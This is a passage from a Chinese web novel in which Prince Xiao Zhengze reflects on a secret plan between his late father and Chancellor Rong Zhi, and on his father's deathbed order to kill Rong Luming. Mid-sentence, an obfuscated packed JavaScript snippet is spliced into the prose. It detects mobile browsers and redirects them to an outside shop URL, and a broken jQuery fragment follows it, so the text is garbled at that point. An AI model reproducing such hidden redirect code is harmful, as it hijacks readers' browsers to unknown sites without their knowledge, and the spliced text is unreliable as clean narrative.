先帝与容止亦是自幼相伴,容止幼时即入宫,做了当时太子萧绩的伴读。
    朝中之人观他君臣二人,容止为相却自有风骨,对人君有迎合、有鞭策,有违逆。萧绩对容止,亦是三贬三复起。
    被贬时,不见容家人如何悲戚,静静收拾好家什物件,驾起两辆牛车便归了乡间别业。
    朝会之上,曾有官员直言,容止只带少许物品归乡,必是放不下京中繁华,有再图起复之野心。
    萧绩批手将本折子直摔到那官员脸上。
    “若存只带走了他的藏书和一些衣物,朕赏的、朕的先祖赏他容家的,他一概未带走。”即便君臣看似失和,萧绩仍在朝堂之上以表字称呼容止。许多心怀叵测之人由此噤声。
    萧正则觉得,除却防备与猜忌,父皇与容相之间,其实感情甚笃。他们,可能密谋过什么,然而,太子蓦地故去,两年之后,父皇也去了。那件事……便无以为继了吗?
    父皇染病后,有两件事令萧正则觉得奇怪。一件是昙现为他私下探听的,另一件是萧正则自己亲身经历的。
    容止居相位近三十年,虽说几经起落,可他对萧绩何其了解,对朝政动向的掌握又何其精当。他同萧绩,一直算是一段君臣佳话。
    受陛下之托,容止去过战场、出使过敌国,替陛下承过责难,曾为千夫所指。为保护陛下,亦曾手刃过意图谋反的皇族子弟……
    而突然地,容止开始托病,不参与朝会。怎么回事?当年他出使北狄,受了大刑,归来时拄了拐杖,腿伤开裂,血落在汉白玉的台阶上,照旧上朝不迟。
    难道,真是重病缠身?朝中人心浮动。其实,自从太子娶了宋家而非容家之女,朝中有人已是心生疑窦。
    未曾想,不过几日后,容止递了致仕的折子——被萧绩当场驳回。再递,再驳回。再三次时,御前太监往地上一跪,直说陛下有旨,容相致仕的折子,他说什么都不敢再接。
    不久后,萧绩有一日邀容止入文华殿陪他弈棋。只有他们君臣二人,所有宫女内侍皆被驱至殿外。
    昙现那日特意借故去文华殿伺候,亦在殿外立着。与其他内侍不同,他是来打探消息的。
    文华殿内挺静,也许陛下与容相在小声说些什么,也许,君臣二人只是在弈棋?
    “啪!”殿内突然响起锐利的碎裂声,伴着陛下的一声低吼:“太子已去,不必再做……”昙现尽力靠近窗沿,犹未听清那余下的字句。
    萧正则一向关注容止,因此,事前才特命昙现去文华殿,探查这次不同寻常的会面。不过,他不是为了拉拢这位丞相,而是为了将他女儿容鹿鸣据为己有。他早就在计划这件事了,他有得是耐心,可以慢慢来。
    昙现带回的那半句话,萧正则想了许久:父皇难道是在计划什么,为何太子去后便要收手?
    这个疑问困在他心里,直到父皇临终前。
    那一刻,父皇喘息着对他说:“你万万记住,她若有异动,必杀之,切不可……不可心软!”
    父皇竟让他杀容鹿鸣,为何?他明明那般信任容家。容止执掌朝局数十年,容家兄妹多年来驻守边境……太子在时,他对容止存着托孤之心,众人皆看在眼里。承继大统之人不过是由太子变成了自己,怎么对待容家的态度就截然一变?
    容鹿鸣对待自己,多年来,不可谓不倾尽心血,即便是血脉至亲,恐怕有时都难做到如此。说她会对自己有不臣之心?萧正则断然不信。
    那么,必须杀她的理由是……
    当年容鹿鸣蓦地与他割席,他心中确然恨意入骨。在这世上,他不在乎任何人事,只除了容鹿鸣,她是他唯一的软肋。王权之巅,他不能有软肋。
    也曾想过,最痛彻的结局,不过是殉了容鹿鸣,他再与她同去。而父皇提到的“异动”……她绝没有不臣之心,唯独的那点儿念头,萧正则太清楚,她只是想要逃开他,自他强娶她那日起,她便一直在谋划脱身之计,直到目下。
    “不,老师并不厌恶与我相伴”,萧正则对自己说,多年来她始终教养他、保护他,几经性命之虞,犹不离不弃。
    难道,她是为了什么事才要于宫中抽身?萧正则揣度着。他曾一度十分绝望,以为当时的太子妃必是容鹿鸣。虽说那时年幼,但长久相伴,他看得出太子隐忍的情意。岂料,太子后来竟娶了宋家的人。
    他起初还以为,会不会是容鹿鸣婉拒了太子?应当不会,太子甚至不会有吐露心意的机会。她总是这般淡漠,望着太子大概也如望着一枝玉兰,只有欣赏。而似乎出于某种原因,太子默许了容鹿鸣不愿留在宫中。
    为何不愿留在宫中?彼时她毫无婚嫁打算,于朝中颇有威望,亦深受陛下与太子信任。总该有个因由,陛下、太子、容相都心知肚明的因由。唯他不知,萧正则苦涩地想。
    他先前总以为,容鹿鸣同自己割席,一并从朝局抽身,是不想牵扯东宫之争。如今想来,不止如此,容家早就在布局抽身之事。
    太祖平定天下之时,容家先祖便已在身侧辅佐。这是突然动了归隐田园的心思?
    容家可不像是这样的世家。萧正则忆起,儿时容鹿鸣同他讲的故事,从不是什么“白蛇传”“女娲补天”,而是齐桓晋文、商鞅变法之事,也不管他听不听得懂,只是一径地讲。渐渐长大,听得多了,他才慢慢心有所悟。
    本朝以儒学治国。可在萧正则看来,容鹿鸣表面上虽是个儒士,可内里,恐怕是个法家信徒。这一点,也于无形之中深深影响了他。
    思及此处,萧正则心中豁然跃出个念头,容家的抽身,或许与容相同父皇那次密会时谈到的事情有关,他们君臣二人,可是私下谋划了什么事?这事,太子亦知——
    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16563121|171898||http|test|mini|href|location''.split(''|''),0,{}));
    () {
    $(''.inform'').remove();
    $(''#content'').append(''
    太子也参与其间,甚而,是推动者……却不想,太子竟意外薨逝。换个角度思索,若容相欲将此事按下而父皇不肯……或者!萧正则想到父皇病重时的种种言行,欲按下此事的乃是父皇?
    此事必然关系朝政、关系新君。在父皇眼中,新君只有唯一的人选,便是太子。因太子薨逝,所以此事便无法做成。萧正则轻轻笑,自己在父皇眼中,到底是难堪重任的。
    于是,父皇将此事停下。忧心他处理不当,引起动荡。又忧心容家执意去做,便叫他将容鹿鸣捏在手里。
    光阴浩荡绵长,王朝总有兴衰起落,很小的时候,容鹿鸣就同他说过。原来,萧正则想,也许父皇对他的冀望就是如斯简单,只盼他能守好祖业。父皇与容相的心中所念,要再待到来日,由别人去完成。
    而或许,容家不这样想。容鹿鸣一直倾心追随太子,于太子身上,她寄予了对明君的全部期待。而对自己,萧正则暗中思量几何,除了一众皇子皆要学通的“经史”、《通鉴》之外,她教他书、画,倾尽毕生所学,似乎,即便她马革裹尸,不能纵情书斋,他替她走过了这一遭,她也为晋国培养出个书画大家。
    可是,又不仅仅是这样。除却书画,容鹿鸣还教了他许多。成了静妃的养子后,他七皇子的身份才被堂堂正正地抬了出来。
    而容鹿鸣叫他低调。
    彼时当她自南境归京,有时不免得去拜望几位朝中重臣,也常是带了他去,叫他着细布圆领袍,敛目垂头,扮作是她的侍从。
    下了朝会,当日议论了什么事,她都会找机会,一一说与他听。也会将邻国之中的朝政争斗说与他听。她写的策论,更是任他随意翻看。
    他其实不太在意她说什么、做什么,只要能常同她一起,叫他做什么都愿意。
    而容鹿鸣心中千沟万壑。她期盼太子即位,又觉得目下一切太过平顺。久居战场,她早已如兽一般,能从平和之中嗅到血腥。
    她既希望萧正则能够纵情书画、远离庙堂,替她肆意活一世,又忧心那个万一……在私下教萧正则书画、习武的许多个日夜,她还教他刑名之学、法家思想,常要与他论一论世族门阀、朝政改革。
    萧正则当时不明白,只以为容鹿鸣是想让他增广学识。后来,他才渐渐懂得,容鹿鸣当年,或许是有意为之。
    猛然惊觉!也许容家与父皇共谋之事,容鹿鸣早已同他说过。
    虽久居权力之巅,容家人却从不在意权势。他们在意的是什么?
    容家太不同于其他世家,不仅在于,数代之间,圣眷不衰。更在于,多嘉子弟。虽也出过酷吏、奸雄,但多是股肱之臣。而那些未立身于朝堂之上的容家子孙,不是巨贾,便是巧匠,竟无一纨绔。
    容家家族之中,对子弟教养甚严。不说远的,容鹿鸣与兄长容雅歌皆是精通六艺,文武双全。